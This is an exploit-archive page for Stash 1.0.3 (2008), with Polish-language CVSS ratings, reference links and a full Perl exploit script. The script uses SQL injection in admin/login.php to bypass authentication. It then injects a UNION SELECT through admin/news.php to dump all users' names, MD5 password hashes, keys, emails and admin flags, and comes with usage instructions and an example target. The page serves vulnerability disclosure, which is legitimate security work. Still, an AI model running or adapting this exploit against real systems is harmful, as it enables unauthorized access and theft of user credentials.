Stash 1.0.3 (SQL) User Credentials Disclosure Exploit

2008-10-16 / 2008-10-17
Credit: Gnix
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

#!/usr/bin/perl -w # # User credentials disclosure exploit - stash103exp.pl # # Gnix <gnixmail@gmail.com> # http://gnix.netsons.org # # This exploit use an SQL Injection in the file admin/login.php to # bypass the login, and then an SQL Injection in the admin/news.php # to extract all the users info. Note: password are crypted with md5. # # Output for each user: # user_id:user_username:user_password:user_key:user_firstname user_lastname:user_email:user_admin # use strict; use LWP::UserAgent; use HTTP::Request; use HTTP::Response; use HTTP::Cookies; # Variables my $cjar = new HTTP::Cookies( file => 'cookies.txt', autosave => 1, ignore_discard => 0); my $agent = new LWP::UserAgent; $agent->agent('Lynxy/6.6.6dev.8 libwww-FM/3.14159FM'); # Check argv if(@ARGV != 3) { print "[?] Usage : perl stash103exp.pl <stash_dir_address> <admin_username> <table_prefix>\n"; print "[?] Example: perl stash103exp.pl http://site/stash/ avril st_\n"; exit(1); } # Authentication if(!auth($ARGV[0],$ARGV[1])) { print "[!] Error during the authentication!\n"; exit(1); } # Extract all the user information my $info = extract_data($ARGV[0],$ARGV[2]); if(!$info) { print "[!] Error when extracting data!\n"; exit(1); } # Print user information $_ = $info; my @users = m/<1>(.+?)<2>/g; foreach my $user (@users) { print $user."\n"; } exit(0); ########################################################################### # Login as $ARGV[1] and save the PHPSESSID cookie sub auth { my $address = shift; my $username= shift; # Login my $response= $agent->post($address.'admin/login.php', {username => "' OR user_username = '$username", password => "any", submit => "Log in"}); # Save PHPSESSID cookie $cjar->extract_cookies($response); return $response->is_redirect(); } # Inject a query through news.php to extract all the info about every user sub extract_data { my $address = shift; my $prefix = shift; my $query = "-1 UNION SELECT 1 AS news_id, 'Injection' AS news_title, ". "CONCAT('<1>',user_id,':',user_username,':',user_password,':',user_key,". "':',user_firstname,' ', user_lastname,':', user_email,':', user_admin,". "'<2>') AS news_body, 'Mitnick' AS news_author, NOW() AS news_date, 0 ". "AS news_comment FROM ".$prefix."news, ".$prefix."user"; my $request = new HTTP::Request('GET', $address.'admin/news.php?post='.$query); $agent->cookie_jar($cjar); my $response= $agent->request($request); if($response->is_success()) { return $response->content(); } else { return undef; } }

Referencje:

http://xforce.iss.net/xforce/xfdb/45799
http://www.securityfocus.com/bid/31687
http://www.milw0rm.com/exploits/6714


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top